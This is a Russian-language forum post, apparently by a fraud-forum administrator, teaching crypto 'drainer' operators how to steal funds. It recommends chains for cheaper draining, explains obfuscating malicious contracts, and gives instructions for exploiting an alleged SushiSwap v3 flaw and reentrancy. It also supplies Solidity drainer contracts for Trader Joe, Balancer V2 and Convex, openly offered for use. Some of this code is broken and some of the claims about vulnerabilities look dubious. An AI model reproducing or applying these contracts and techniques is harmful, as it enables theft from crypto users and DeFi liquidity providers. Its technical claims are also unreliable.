D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Привет!
Сначала ответы на вопросы.
Сначала ответы на вопросы.
Спасибо за вопросы.
Как я понял, интерес был вызван вопросом о преимуществах использования Pulse в сочетании с Base.
Pulse chain - full-state форк Ethereum, что означает, что он содержит полное состояние блокчейна Ethereum, включая все токены ERC20 и NFT.
Значит ли это, что вы можете получить доступ к своим существующим Ethereum-активам на цепочке Pulse без необходимости их миграции? - Да.
Те самые преимущества более низких комиссий и высокой скорости, время блокировки составляет 3 секунды по сравнению с 15 секундами у Ethereum - что для вашего дрейнера например - must have.
По сути за каждый профит вы будете терять меньше $ за комиссии/газ.
Base chain - layer 2 масштабирование для Ethereum, то есть он (или цепь - она?) использует сайдчейн для обработки транзакций.
Полностью совместим с EVM, что означает - можно использовать те же смарт-контракты и инструменты, что и в Ethereum.
Преимущества безопасности в том, что Base периодически отправляет свои транзакции в mainnet для проверки. Но нужны ли нам преимущества безопасности в этой теме?
Можно получить доступ к экосистеме децентрализованных приложений и сервисов на чейне Base, которая поддерживается Coinbase, что значит для получения профитов необходимо(обязательно) юзать протоколы Uniswap, Compound или Aave для обеспечения ликвидности, заимствования или одалживания своих токенов на обеих цепочках сразу. Причём даже если это простой дрейнер, и ваша задача просто вылить всё что можно из кошелька человека, использовать связку будет самым правильным решением.
Pulse chain в качестве альтернативы первого, Base chain как солюшн второго уровней и переключаться между двумя цепочками по своему усмотрению, в зависимости от своих потребностей и предпочтений.
Как вы понимаете, благодаря MetaMask возможно подключения сразу к обеим цепочкам и взаимодействие с нужными смарт-контрактами.
Используя связку pulse и base можно также юзаь смарт-контракты storefront в качестве шлюза какого-нибудь dApp в другой сети блокчейна. (Storefront - смартконтракты обеспечивающие взаимодействие и совместимость между различными чейнами. Например предположим, есть биржа (DEX) на эфире, и юзер хочет обменять некоторые токены на этой бирже, используя свои средства на BSC. Вместо того чтобы переводить свои средства с BSC на Ethereum, что может повлечь за собой большие комиссии, человек может использовать storefront контракт на BSC, который подключается к бирже на Ethereum. Storefront может облегчить процесс отправляя средства пользователя на биржу, получая токены с биржи и отправляя их обратно пользователю на BSC. Очень удобно и легко в исполнении)
Конечно же в этом всём существуют и некоторые недостатки и риски, нам о них следует знать потому, что мы получаем выгоду напрямую из них.
Например как было сказано - Base chain полагается на секвенсор.
Нам, как тем кто нацелен дрейнить всё и вся это бесполезно и в принципе похер.
Но что если использовать эту уязвимость?
Cencorship - секвенсор отказывается включать в пакет определенные транзакции или пользователей, фактически блокируя им доступ к сети. Это влияет на доступность сети, по сути способ лишить пользователей возможности выводить средства или взаимодействовать с ними.
Реордеринг(reordering) - это когда секвенсор изменяет порядок транзакций в пакете, давая себе несправедливое преимущество перед другими пользователями. Влияет на целостность и безопасность сети, позволяет секвенсору выполнять вредоносные транзакции, такие как опережающие, обратные или флешлоаны.
Если вам интересно, вдруг, почему бы и нет, вот вам примеры того как это делается в коде. Если вы вдруг решите заняться reverse engineering'ом.
В коде для взаимодействия с basechain используется JavaScript.
Коннект к секвенсору выглядит так:
Код: Скопировать в буфер обмена
Код:
const { Client } = require("basechain");
const client = new Client();
client.connect();
Создаётся клиент с дефолтными настройками и подключается.
Верификация(процесс 'сверить с etherium mainnet') так:
Код: Скопировать в буфер обмена
Код:
const { StateRootVerifier } = require("basechain");
const verifier = new StateRootVerifier(client);
const stateRoot = client.getStateRoot();
verifier.verify(stateRoot);
Создание верификатора состояния с клиентом, получение последнего состояния из секвенсора, проверить состояние по сети Ethereum.
const { FraudProver } = require("basechain");
Отправка доказательства фрода в сеть Ethereum:
Код: Скопировать в буфер обмена
Код:
const prover = new FraudProver(client);
const txHash = "0xсюдаХешЗалетает";
const proofData = "0xсюдаПруф";
const fraudProof = prover.generate(txHash, proofData);
prover.submit(fraudProof);
Получаем хэш транзакции и данные для пруфа, генерируем пруфы фрода, отправляем это в сеть Ethereum.
Не могу придумать, что ещё написать в данном ответе, так как не до конца понял вопрос, поэтому перехожу к следующему.
Есть преимущества применения Geth?
Небольшой мисандерстендинг в вопросе видимо. Они применяются для разных дел.
Geth и другие языки и Solidity нельзя сравнивать напрямую, т.к. они выполняют разные задачи в экосистеме Эфира.
Geth это программное обеспечение которое запускает полноценную ноду блокчейна Ethereum, то есть он может подтверждать транзакции, выполнять смарт-контракты и синхронизироваться с другими узлами.
Solidity это язык, используемый для написания смарт-контрактов, которые могут выполняться на Ethereum (EVM).
Можно использовать Geth для развертывания и взаимодействия со смартконтрактами, написанными на Solidity, но нельзя использовать Solidity для запуска ноды или доступа к сети.
В чём прикол рандомизации?
Мы можем избежать некоторые проблемы с помощью рандомизации.
Во первых наши смартконтракты могут быть флагнуты. Определены как вредоносные, таким образом они вообще не смогут нормально функционировать, а я напомню что хороший контракт с прописанными функциями стоит хороших $ чтобы его задеплоить, и так же неплохо забирает $ за каждое взаимодействие с ним, по сути это просто палки в колёса. Избежать можно только благодаря рандомизации.
Во вторых если мы говорим о том что мы, как фродеры пишем наши смарт-контракты, чтобы использовать уязвимости в чужих контрактах, то что мешает остальным использовать наши контракты, чтобы переливать весь профит себе?
Например из последнего, какие атаки мы знаем?
Front-Running атаки, при которых злоумышленники могут наблюдать за транзакциями, находящимися в мемпуле, и использовать эту информацию в своих интересах, например, подавая более высокую плату за газ, чтобы их транзакция была выполнена раньше первоначальной.
Рандомизация позволяет затруднить фродеру анализ выполнения контракта и, таким образом, снизить риск от таких атак.
Атаки с использованием reverse инжиниринга, в ходе которых наши соперники декомпилируют и проверяют байткод смарт-контрактов, чтобы найти уязвимости, лазейки которые можно использовать.
Рандомизация кода смарт-контракта позволяет обфусцировать и защитить логику и данные от легкого понимания и манипулирования им.
Атаки с повторным использованием, в ходе которых кто-то может скопировать и задеплоить код смарт-контракта без вашего разрешения или ведома и использовать его своих целях, например для кражи средств, выдачи себя за другого человека. Рандомизация затрудняет повторное использование кода и тем самым сохраняет его оригинальность/целостность.
Приведу пример с интересным событием, произошло оно совсем недавно.
Фродер рассылал многочисленные свопы с небольшой прибылью, чтобы заманить MEV ботов. Человек продолжал запрещать безопасным ботам любые дальнейшие переводы, чтобы продолжать работать с уязвимыми.
В процессе исследования кода, была обнаружена незащищенная функция "update(address, bytes)", которая записывала в память адрес и массив байтов.
Эта функция использовалась для запуска колбеков от MEV ботов при передаче токенов.
И один парнишка из твиттера очень быстро написал код скрипта бэкраннера.
Каждый раз, когда наш фродер вызывал команду "update", скрипт немедленно отправлял второй апдейт с заменой адреса на контракт, перезаписывающий его настройки. Этот контракт запускал апдейт внутренне, что сделало его незаметным.
Через 22 часа от запуска скрипта фродер нацелился на арбитражного бота с 66 $ETH на счету.
Скрипт успешно переписал его callback, подмена оказалась эффективной. Бот одобрил не фродера, а человека с твиттера на все свои WETH.
Сначала твиттербой не понял что случился Approve в его сторону, но потом дошло, фродер пытался перевести 66,5 WETH с арбитражного бота, но у него ничего не получилось, так как Approve был адресован другому человеку.
Криптан из твиттера тут же перешел на вкладку "Write Contract" на Etherscan'е для WETH, чтобы защитить 66 $ETH от арбитражного бота.
Использовал brute-forsed адрес, очень похожий на адрес фродера, чтобы скрыть его еще больше.
Менее чем через 10 минут фродер(ебанат) начал написывать в Discord твитербою, чтобы выразить свое недовольство.
А теперь переходим к делам насущным.
SushiSwap v3 NFT
Используем уязвимость в протоколе SushiSwap v3 для дрейна nft-LP из SushiSwap.
Эти NFT представляют собой позиции поставщиков ликвидности в пулах SushiSwap v3, и их можно передавать, обменивать или продавать на вторичных рынках.
Однако они также имеют функцию `decreaseLiquidity`, которая позволяет владельцу частично или полностью уничтожить ликвидность пула и получить взамен соответствующие токены. Эта функция не проверяет, является ли вызывающая сторона реальным владельцем NFT, поэтому любой может вызвать ее с NFT ID и получить профит.
Используя эту уязвимость, прочекайте контракт SushiSwap v3 на наличие существующих NFT ID и вызывайте функцию `decreaseLiquidity` с каждым ID и ставьте большее количество ликвидности для снятия. Таким образом, ликвидность из NFT выводится и передается нашему контракту, который затем может продать или обменять токены с прибылью. Наш фрод контракт также может использовать флэш-кредиты для увеличения своего капитала и вывода еще большего объема ликвидности из НФТ.
Чтобы определить уязвим ли контракт ищем подобный модификатор:
Код: Скопировать в буфер обмена
Код:
modifier onlyNFTOwner(uint256 tokenId) {
require(ownerOf(tokenId) == msg.sender, "Caller is not the owner");
_;
}
function decreaseLiquidity(
uint256 tokenId,
uint128 liquidity,
uint256 amount0Min,
uint256 amount1Min
) external onlyNFTOwner(tokenId) {
}
Если не находим - наша взяла, слава отсутствию модификаторов.
Команда SushiSwap уже признала наличие этой проблемы и выпустила новую версию контракта SushiSwap v3, в которой уязвимость устранена. Велели долго жить и рекомендовали как можно скорее перевести свои НФТ на новый контракт и не покупать и не продавать их по старому контракту, собственно основные контракты SushiSwap не затронуты этой проблемой, и протокол SushiSwap v3 продолжает работать.
Уязвимость в liquidity book model компании Trader Joe
Модель книги ликвидности это способ организации ликвидных позиций по ценовым диапазонам, которые представлены взаимозаменяемыми токенами, которыми можно торговать, делать ставки или использовать в качестве залога.
Однако, это также означает, что любой может создать смарт-контракт, который будет взаимодействовать с этими токенами и выводить ликвидность из позиций, оставляя первоначальных владельцев с ничего не стоящими токенами.
Примером "отсоса" позиций Trader Joe NFTs является смарт-контракт, который делает следующее:
Принимает от злоумышленника-атакера большое количество токенов AVAX в качестве входных данных.
Обменивает токены AVAX на токены JOE, используя функцию обмена на сайте Trader Joe.
Использует токены JOE для создания позиции ликвидности в пуле JOE-AVAX, который представлен сменным токеном JOE-AVAX LP.
Размещает токен JOE-AVAX LP в ферме Trader Joe, которая приносит ревард в токенах JOE.
Периодически он снимает реварды и обменивает их на токены AVAX в обменнике Trader Joe.
Повторяет описанные выше действия до тех пор, пока пул JOE-AVAX не исчерпает ликвидность, в результате чего другие держатели токенов JOE-AVAX LP не получат никакой ценности в своих токенах.
После этого он снимает токены AVAX из смарт-контракта и переводит их на кошелек атакера.
Код такого смарт-контракта может выглядеть следующим образом:
Код: Скопировать в буфер обмена
Код:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
interface ITraderJoe {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function stake(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function pendingJoe(uint256 _pid, address _user) external view returns (uint256);
}
contract TraderJoeNFTsPositionsDrainer is ReentrancyGuard {
using SafeMath for uint256;
address constant AVAX = 0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7;
address constant JOE = 0x6e84a6216eA6dACC71eE8E6b0a5B7322EEbC0fDd;
address constant TRADER_JOE_ROUTER = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4;
uint256 constant JOE_AVAX_PID = 0;
uint256 constant AVAX_AMOUNT = 100 ether;
uint256 constant JOE_AMOUNT_MIN = 1000 ether;
uint256 constant LIQUIDITY_AMOUNT_MIN = 100 ether;
address payable attacker;
ITraderJoe traderJoe = ITraderJoe(TRADER_JOE_ROUTER);
constructor(address payable _attacker) {
attacker = _attacker;
}
receive() external payable {}
function drain() external nonReentrant {
address[] memory path = new address;
path[0] = AVAX;
path[1] = JOE;
traderJoe.swapExactTokensForTokens(
AVAX_AMOUNT,
JOE_AMOUNT_MIN,
path,
address(this),
block.timestamp
);
uint256 joeBalance = IERC20(JOE).balanceOf(address(this));
traderJoe.addLiquidity(
JOE,
AVAX,
joeBalance,
AVAX_AMOUNT,
joeBalance,
AVAX_AMOUNT,
address(this),
block.timestamp
);
uint256 liquidityBalance = IERC20(JOE_AVAX_LP).balanceOf(address(this));
traderJoe.stake(JOE_AVAX_PID, liquidityBalance);
uint256 pendingRewards = traderJoe.pendingJoe(JOE_AVAX_PID, address(this));
traderJoe.withdraw(JOE_AVAX_PID, 0);
path[0] = JOE;
path[1] = AVAX;
traderJoe.swapExactTokensForTokens(
pendingRewards,
0,
path,
address(this),
block.timestamp
);
uint256 avaxBalance = IERC20(AVAX).balanceOf(address(this));
IERC20(AVAX).transfer(attacker, avaxBalance);
}
}
Balancer2 LPs
Balancer V2 - это децентрализованная биржа и автоматический маркет-мейкер, позволяющий пользователям создавать пользовательские пулы ликвидности с несколькими токенами и различными весами. Однако некоторые пулы могут содержать токены, имеющие сложную логику или взаимодействующие с другими контрактами, такими как флэш-кредиты, rebase или функции управления. Такие токены могут быть подвержены манипуляциями их ценами или балансом во время свопа, что приводит к потере средств пула и его поставщиков ликвидности.
Одним из примеров является контракт, который может вытягивать ликвидность токена, когда он заблокирован в пуле.
Контракт работает следующим образом: он берет флэш-кредит на большую сумму ETH у кредитной платформы, такой как Aave или dYdX, и затем использует его для обмена на целевой токен в пуле Balancer V2. Затем контракт вызывает функцию на целевом токене, которая переводит баланс пула на адрес злоумышленника, фактически лишая его ликвидности. Затем контракт погашает флэш-кредит небольшим количеством ETH, а остальную прибыль оставляет себе.
Привожу сладкий примерчик кода:
Код: Скопировать в буфер обмена
Код:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
interface IAave {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
interface IBalancerV2 {
function swap(
address assetIn,
address assetOut,
uint256 amountIn,
uint256 minAmountOut,
address to
) external;
}
interface ITargetToken {
function drain(address to) external;
}
contract LiquidityDrainerV2 is Ownable {
using SafeERC20 for IERC20;
using Address for address payable;
address public constant AAVE = 0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5;
address public constant WETH = 0xd0A1E359811322d97991E03f863a0C30C2cF029C;
address public constant BALANCER_V2 = 0x4e67bf5bD28Dd4b570FBAFe11D0633eCbA2754Ec;
address public targetToken;
constructor(address _targetToken) {
targetToken = _targetToken;
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external {
require(msg.sender == AAVE, "Invalid sender");
require(initiator == address(this), "Invalid initiator");
uint256 amountIn = amounts[0];
IBalancerV2(BALANCER_V2).swap(WETH, targetToken, amountIn, 0, address(this));
ITargetToken(targetToken).drain(address(this));
uint256 amountOut = amountIn + premiums[0];
IERC20(WETH).safeTransfer(AAVE, amountOut);
}
function drain() external onlyOwner {
address[] memory assets = new address;
assets[0] = WETH;
uint256[] memory amounts = new uint256;
amounts[0] = 1e18;
uint256[] memory modes = new uint256;
modes[0] = 0;
bytes memory params = "";
uint16 referralCode = 0;
IAave(AAVE).flashLoan(
address(this),
assets,
amounts,
modes,
address(this),
params,
referralCode
);
}
function withdraw(address token, address to) external onlyOwner {
uint256 balance = IERC20(token).balanceOf(address(this));
IERC20(token).safeTransfer(to, balance);
}
function withdrawETH(address payable to) external onlyOwner {
uint256 balance = address(this).balance;
to.sendValue(balance);
}
}
Или же например немного иной подход. Прекрасные реверс инженеры обнаружили способ манипулирования балансами пулов и извлечения из них средств без уплаты каких-либо комиссий или скольжения. Для этого создается поддельный токен, который взаимодействует с контрактом Balancer V2 и заставляет его думать, что ликвидность пула выше, чем на самом деле.
Это может затронуть любой пул Balancer, содержащий хотя бы один токен с пользовательской логикой передачи, например, дефляционные или ребазовые токены.
Кстати к месту или нет, но если в контрактах к балансеру и есть уязвимости, то используйте паттерн Checks-Effects-Interactions, то есть обновляйте переменные состояния чужого контракта.
Например, если вместо этого
function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount, "Insufficient balance");
balanceOf[msg.sender] -= amount;
msg.sender.call.value(amount)("");
}
Вы видите это
function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount, "Insufficient balance");
msg.sender.call.value(amount)("");
balanceOf[msg.sender] -= amount;
}
То вы можете обновлять состояния до того как они будут обновлены самим контрактом.
Convex staked cvxCRV
Смарт-контракт, снимающий реводр с токенов cvxCRV.
cvxCRV - это токен, который представляет собой требование по оплате административных услуг Curve и комиссии платформы Convex за размещение токенов CRV на платформе Convex Finance. При размещении cvxCRV на Convex также зарабатываются токены CVX, которые являются собственными токенами платформы.
Контракт может быть развернут любым лицом, желающим использовать реворд от размещения cvxCRV без фактического владения или блокировки каких-либо токенов CRV. Контракт работает путем заимствования токенов cvxCRV у кредитной платформы, такой как Aave или Compound, и последующего размещения их на Convex. Затем контракт получает вознаграждение за ставку, например 3CRV, CRV и CVX, и продает их с прибылью. Затем контракт возвращает заимствованные токены cvxCRV и повторяет процесс.
Предположим что контракт может заимствовать и возвращать токены cvxCRV с кредитной платформы с помощью одного вызова функции. В контракте также предполагается наличие функции свопа, которая может обменять любой токен на любой другой токен по наилучшему рыночному курсу.
Код для вашего удобства, пользуйтесь на здоровье
Код: Скопировать в буфер обмена
Код:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IConvex {
function stake(uint256 _amount) external;
function claim() external returns (bool);
function withdraw(uint256 _amount) external returns (bool);
function balanceOf(address _account) external view returns (uint256);
}
interface ILending {
function borrow(uint256 _amount) external;
function repay(uint256 _amount) external;
}
interface ISwap {
function swap(address _from, address _to, uint256 _amount) external returns (uint256);
}
contract Drainer {
address public constant cvxCRV = 0x62B9c7356A2Dc64a1969e19C23e4f579F9810Aa7;
address public constant CRV = 0xD533a949740bb3306d119CC777fa900bA034cd52;
address public constant CVX = 0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B;
address public constant convex = 0xF403C135812408BFbE8713b5A23a04b3D48AAE31;
address public constant lending = 0x(адрес платформы лендинга сюда);
address public constant swap = 0x(и адрес платформы для свапа сюда);
address public owner;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Not the owner");
_;
}
function drain() external onlyOwner {
uint256 amount = 1000 * 1e18;
ILending(lending).borrow(amount);
IConvex(convex).stake(amount);
IConvex(convex).claim();
IConvex(convex).withdraw(amount);
ILending(lending).repay(amount);
uint256 crvBalance = IERC20(CRV).balanceOf(address(this));
uint256 cvxBalance = IERC20(CVX).balanceOf(address(this));
ISwap(swap).swap(CRV, cvxCRV, crvBalance);
ISwap(swap).swap(CVX, cvxCRV, cvxBalance);
uint256 profit = IERC20(cvxCRV).balanceOf(address(this));
IERC20(cvxCRV).transfer(owner, profit);
}
}
Camelot
Контракт для получения ликвидности из его пулов.
Camelot - это децентрализованная биржа (DEX), которая позволяет пользователям обмениваться токенами и предоставлять ликвидность в сети Arbitrum.
Пользователи, предоставляющие ликвидность, получают токены LP, которые представляют собой их долю в пуле. Эти LP-токены могут быть размещены на Demeter - платформе для фарминга доходности, которая вознаграждает пользователей токенами SPA.
Однако некоторые LP-токены, например $xGRAIL, имеют специальную функцию, которая позволяет им выпускать новые токены в зависимости от количества токенов GRAIL в пуле. Этой функцией может злоупотреблять наш контракт, который создает фальшивые токены LP и обменивает их на настоящие, фактически похищая ликвидность из пула.
Это похоже на атаки флэш-кредитов.
Для предотвращения этого Camelot реализовала механизм защиты, ограничивающий количество токенов LP, которое может быть добыто за один блок. Однако этот механизм не является надежным и может быть обойден.
Вопрос: Как?
Отвечаю: Не скажу
Вопрос: Почему?
Отвечаю: Устал писать данную статью, ждём третью часть, задаём вопросы.
Если вдруг есть что-то что вы хотели бы обсудить лично, пишите, все контакты есть на форуме и ЛС везде открыт. Если вы хотите поработать над чем-то кооперативно - тоже самое. Если хотите просто познакомиться - тоже самое.
Я не против хороших связей и знакомств.